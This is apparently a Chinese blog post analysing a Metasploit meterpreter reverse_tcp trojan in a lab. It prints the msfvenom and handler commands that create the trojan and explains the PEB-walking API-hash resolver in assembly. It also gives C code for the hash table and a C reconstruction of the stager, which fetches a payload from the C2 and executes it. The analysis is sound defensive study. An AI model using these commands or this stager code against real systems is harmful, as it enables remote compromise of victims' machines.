本文主要分析meterpreter木马的原理,原理比较简单:首先会分配一段缓冲区,加载一段shellcode,在shellcode中调用win socket API与服务器端进行通信,下载一个反射型dll,在内存中加载,使用peb的方式来获取系统的api地址,C2的地址是以整数的方式存储在代码中。
kali 192.168.213.130 用于生成木马,搭建c2服务器
windows x64 192.168.213.129 模拟被控端,进行样本动静态分析
首先使用的kali环境生成一个meterpreter马。进入kali系统,使用如下命令生成一个windows平台的木马。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.213.130 lport=8888 -f exe -o muma.exe
使用msf开启监听。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.213.130
set lport 8888
将木马文件拷贝到windows系统中,开始分析。样本的基本信息如下 。
FileSize: 72.0 KB (73,802 字节)
Verified: Unsigned
Link date: 13:03 2009/4/18
Publisher: n/a
Company: Apache Software Foundation
Description: ApacheBench command line utility
Product: Apache HTTP Server
Prod version: 2.2.14
File version: 2.2.14
MachineType: 32-bit
MD5: E484F28D7030ED8E9C6B530F8100C4AC
SHA1: 6CBE331EB21EFC8D3D2C4CE4CCE762110EC19A91
PDB path: C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb
这个样本中几乎所有的api地址都是通过PEB获取的,这是shellcode的通用做法,下面介绍一个如何通过PEB来获取API地址,介绍其中用到的几个关键的数据结构。
在程序运行过程中,fs寄存器存储TEB(线程环境块)的指针,TEB的结构可参考Vergilius Project | _TEB32,其中字段ProcessEnvironmentBlock(进程环境块)表示PEB的地址,偏移为0x30。所以通过下面的指令可以获取PEB的地址。
mov edx, fs:[30h]
PEB(Process?Environment?Block,进程环境块)是存放进程信息的结构体,很多恶意代码都是通过PEB来获取系统api,下面以win7 32位系统举例,来说明如何通过PEB来获取API。
PEB的结构可参考Vergilius Project | _PEB。有几个比较重要的字段如下所示,Ldr用于存储程序所有的模块信息,ProcessParameters用于存储程序的启动信息,如命令行、路径、目录等。下面重点讲Ldr字段。
struct _PEB
{
...
VOID* ImageBaseAddress; //0x8 程序在内存中基址
struct _PEB_LDR_DATA* Ldr; //0xc 程序加载的模块的信息
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x10 参数信息
...
}
_PEB_LDR_DATA结构体可参考Vergilius Project | _PEB_LDR_DATA。这个结构比较小,如下所示,里面有3个双向链表,保存着程序加载的模块信息,通过其中任何一个就可以遍历程序当前加载的所有模块。
在windows系统中通常使用_LIST_ENTRY结构来构造双向链表,将其嵌入自定义的结构体中即可。
//0x30 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length;//0x0
UCHAR Initialized;//0x4
VOID* SsHandle;//0x8
struct _LIST_ENTRY InLoadOrderModuleList;//0xc 模块加载顺序
struct _LIST_ENTRY InMemoryOrderModuleList;//0x14 模块在内存中的顺序
struct _LIST_ENTRY InInitializationOrderModuleList;//0x1c 模块初始化装载顺序
VOID* EntryInProgress;//0x24
UCHAR ShutdownInProgress;//0x28
VOID* ShutdownThreadId;//0x2c
};
每个模块信息保存在结构体LDR_DATA_TABLE_ENTRY中,可参考Vergilius Project | _LDR_DATA_TABLE_ENTRY。下面是其中重要的字段。
//0x78 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks;//0x0 加载顺序
struct _LIST_ENTRY InMemoryOrderLinks;//0x8 在内存中顺序
struct _LIST_ENTRY InInitializationOrderLinks;//0x10 模块初始化装载顺序
VOID* DllBase;//0x18 模块在内存中基址
VOID* EntryPoint;//0x1c 入口点
ULONG SizeOfImage;//0x20 内存镜像的大小
struct _UNICODE_STRING FullDllName;//0x24 模块的全名
struct _UNICODE_STRING BaseDllName;//0x2c dll的名称
...
}
一般恶意代码会遍历当前程序加载的所有模块,通过BaseDllName找到ntdll模块,然后遍历 其导出表,找到VirtualAlloc、LoadLibrary和GetProcAddress等函数的地址,进而执行后续的恶意行为。
在shellcode中的一般会通过计算BaseDllName+FuncName的hash值来寻找特定的api。不同的恶意代码计算hash的方法会有所不同。
在kali生成的meterpreter木马中,使用下面的方式来调用api,这个函数的rva为0x00407821,这里暂且将其标记为sub_00407821,其调用方式为sub_00407821(API_Hash,arg1,arg2,…),首先通过给定的hash值来找到指定的api地址,然后将调用这个api,sub_00407821的汇编代码如下。
pusha
mov ebp, esp
xor edx, edx
mov edx, fs:[edx+30h] ;获取PEB的地址
mov edx, [edx+0Ch] ;struct _PEB_LDR_DATA* Ldr
mov edx, [edx+14h] ;为LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks的地址
loc_407883:
mov esi, [edx+28h] ;LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
movzx ecx, word ptr [edx+26h];LDR_DATA_TABLE_ENTRY.BaseDllName.MaximumLength
xor edi, edi; edi表示hash的结果
loc_407898: ;遍历BaseDllName每个字符,计算BaseDllName的hash
xor eax, eax
lodsb
cmp al, 61h ;若当前字符小于'a'
jl short loc_4078DB
sub al, 20h ;将小写字母转化为大写
loc_4078DB:
ror edi, 0Dh ;循环右移13位
add edi, eax ;hash += eax
dec ecx
jnz loc_407898
push edx ;保存LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks的地址
mov edx, [edx+10h] ;LDR_DATA_TABLE_ENTRY.DllBase dll的基址
push edi ;保存BaseDllName的hash
mov eax, [edx+3Ch];处理PE头
add eax, edx ; eax为NtHeader = DllBase+DosHeader.e_lfanew
mov eax, [eax+78h] ;Export_RVA 导出表的rva
test eax, eax
jz loc_407B4B ;若获取导出表失败的话,跳转到loc_407B4B
add eax, edx ; 导出表的va 指向 IMAGE_EXPORT_DIRECTORY 结构
mov ecx, [eax+18h] ;ecx = IMAGE_EXPORT_DIRECTORY.NumberOfNames 以函数名导出的函数个数
push eax ;保存IMAGE_EXPORT_DIRECTORY 结构的地址
mov ebx, [eax+20h] ;MAGE_EXPORT_DIRECTORY.AddressOfNames 函数名称地址表的RVA
add ebx, edx ;ebx = 函数名称地址表的VA
loc_407991:
test ecx, ecx
jz loc_407B39 ;若当前dll的导出表已经遍历完了,也没有找到指定的api,跳转到loc_407B39
xor edi, edi ;edi用于保存函数名的hash
dec ecx
mov esi, [ebx+ecx*4] ;从后向前遍历函数名,函数的rva
add esi, edx; 函数名的va
loc_4079E6: ;遍历函数名的每个字符,计算函数名的hash
xor eax, eax
lodsb
ror edi, 0Dh ;循环右移13位
add edi, eax
cmp al, ah
jnz loc_4079E6
add edi, [ebp-8];加上DllBaseName的hash 前面有两次push操作
cmp edi, [ebp+24h] ;与第一个参数比较,因为之前有pusha指令,将8个通用寄存器入栈,所有要加 0x24h=8*4(8个通用寄存器)+1*4(返回地址)
jnz loc_407991
pop eax ;与给定的hash值一致的话,取出IMAGE_EXPORT_DIRECTORY结构的地址
mov ebx, [eax+24h];IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals 函数序号地址表的rva
add ebx, edx ;AddressOfNameOrdinals的va
mov cx, [ebx+ecx*2];取出当前函数的序号
mov ebx, [eax+1Ch];IMAGE_EXPORT_DIRECTORY.AddressOfFunctions 导出函数地址表的rva
add ebx, edx ;AddressOfFunctions的va
mov eax, [ebx+ecx*4] ;当前函数的地址rva
add eax, edx ;当前函数在进程空间的地址
mov [esp+24h], eax ;将函数的地址给esp+36 给pusha之前的eax
pop ebx
pop ebx
popa ;恢复原来的栈
pop ecx ;取出函数的返回地址
pop edx ;取出第一个参数
push ecx ;将函数的返回地址入栈
jmp eax ;调用函数
loc_407B39:
pop eax ;取出IMAGE_EXPORT_DIRECTORY 结构的地址
loc_407B4B:
pop edi ;取出DllBaseName的hash
pop edx ;取出LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks的地址
mov edx, [edx];跳转到下一个LDR_DATA_TABLE_ENTRY edx = LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink
jmp loc_407883 ;处理下一个dll
我们可以C语言来实现上面的逻辑,找到api和hash的对应表,代码如下。
#pragma once
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
//计算哈希值
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
//重新定义PEB结构。winternl.h中的结构定义是不完整的。
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
HMODULE GetProcAddressHash()
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB)__readgsqword(0x60);
#elif defined(_M_ARM)
PebAddress = (PPEB)((ULONG_PTR)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
__emit(0x00006B1B);
#else
PebAddress = (PPEB)__readfsdword(0x30);
#endif
pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
//获取下一个模块地址
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;
// 如果当前模块不导出任何函数,则转到下一个模块 加载模块入口
if (dwExportDirRVA == 0)
{
continue;
}
//计算模块哈希值
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR)BaseDllName.Buffer + i);
dwModuleHash = ROTR32(dwModuleHash, 13);
if (*pTempChar >= 0x61)
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA);
dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase);
pdwFunctionNameBase++;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32(dwFunctionHash, 13);
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
wprintf(L"%ws!", BaseDllName.Buffer);
printf("%s: 0x%.8x\n", pFunctionName, dwFunctionHash);
//if (dwFunctionHash == dwModuleFunctionHash)
//{
// usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
// return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
//}
}
}
return NULL;
}
int main()
{
LoadLibraryA("user32.dll");
HMODULE h = GetProcAddressHash();
return 0;
}
导出的hash表如下所示,有了这张表,就可以更好的对样本进行分析了,如果想写shellcode也需要构造这张表。
整个木马执行分为三个阶段。
样本的入口是一堆花指令,不用管,一直执行到sub_407B9B。
.text:0040781C call sub_407B9B
进入sub_407B9B,调用了sub_00407821(0xE553A458,0x0,0x162,0x1000,0x40),通过比对api_hash表,发现0xE553A458对应的api为VirtualAlloc,这里分配了一个0x162大小的可执行内存。
然后进入sub_407D75,进而进入sub_407C2D,在这个函数中将00407D7A处的0x162大小 的内容复制到新分配的内存中,这是一段shellcode(由于这个马是示例用的,没有加密和混淆)。
进入sub_407D10,跳转到新分配内存,开始执行这段shellcode。
将这段shellcode从内存中dump出来进行分析。
这段shellcode的功能是下载一个反射型dll,跳转到dll头部执行。
使用IDA对其进行静态分析,将其首地址rebase为0x20000,这样方便与OD进行对照。
经分析,这段shellcode有三个主要的函数(我根据其功能进行了重命名),CallApiByHash_20006功能是通过hash来用于调用系统api(和上一阶段中的sub_00407821功能和原理一致),ExitProcess_20158的功能是调用ExitProcess(0)。
shellcode的入口直接进入sub_20095,这个函数执行下载执行payload的操作。
下面进入sub_20095。
首先调用LoadLibraryA(“ws2_32”)加载winsock库(通过比对api_hash表,很容易确定这里使用api)。
调用WSAStartup初始化winsocket库。
使用WSASocketA创建套接字,调用connect连接服务器端,使用栈来构造参数。connect函数尝试10次,若10次都失败的话,退出。
使用recv函数接收一个4字节的整数,这个是payload的长度,进而调用VirtualAlloc根据这个长度分配一段RWX属性的内存,用于接收后台发送过来的payload。注意下图中最下方的指令,这个push操作,使得当前函数ret后会跳转到payload处执行(非常巧妙)。
接着使用recv函数接收完整个payload,最后跳转到payload处执行(这个payload是一个反射型dll,可以从第一个字节处执行,加载自身,完成后续的功能)。
这一阶段可以用下面的C代码来表示 。
WSADATA data;
LoadLibraryA("ws2_32");
WSAStartup(400,&data);
DWORD xxx[4] = {0xB8220002,0x82D5A8C0,10,0};
do
{
int s = WSASocketA(AF_INET,SOCK_STREAM,0,NULL,NULL,0);
do
{
if(connect(s,(sockaddr*)&xxx,16)==0){
int payloadLen = 0;
if(recv(s,(char*)&payloadLen,4,0)>0){
char* payloadBuf = (char*)VirtualAlloc(NULL,payloadLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
char* t = payloadBuf;
int readLen = payloadLen;
do{
int recvLen = recv(s,t,readLen,0);
if(recvLen > 0){
t += recvLen;
readLen -= recvLen;
}else{
VirtualFree(payloadBuf,0,MEM_DECOMMIT);
closesocket(s);
break;
}
if (readLen == 0)
{
__asm{
jmp payloadBuf
}
}
}while(readLen > 0);
}else{
closesocket(s);
}
}
} while (xxx[2]--);
} while (xxx[2]--);
ExitProcess(0);
这一阶段使用的api和hash的对照表如下。
kernel32.dll!LoadLibraryA: 0x0726774c
ws2_32.dll!WSAStartup: 0x006b8029
ws2_32.dll!WSASocketA: 0xe0df0fea
ws2_32.dll!connect: 0x6174a599
ws2_32.dll!recv: 0x5fc8d902
kernel32.dll!VirtualAlloc: 0xe553a458
kernel32.dll!VirtualFree: 0x300f2f0b
ws2_32.dll!closesocket: 0x614d6e75
kernel32.dll!ExitProcess: 0x56a2b5f0
将第二次的payload dump下来分析可发现这是一个反射型dll,反射型dll既是一段shellcode也是一个合法的pe,可以从第一个字节开始执行。
首先以binary file模型使用ida打开这个样本。
将文件偏移转成va为1000511B。
使用dll32打开这个样本,会发现sub_1000511B是一个pe加载器,这个函数的分析可参考 一例cobalt Strike 反射式注入payload的分析_cobaltstrike_payload_encoded-CSDN博客。
这个dll的功能是功能比较复杂,以后有机会再深究。
meterpreter生成的木马原理总体比较简单,但是msfvenom有丰富的命令可以使用,可以加密混淆,可以将木马嵌入到正常的pe中,来逃避杀软的检测,本文只分析了一个最简单的示例样本。要想快速的获取的c2,只需要的connect函数设置断点,分析其第二个参数即可。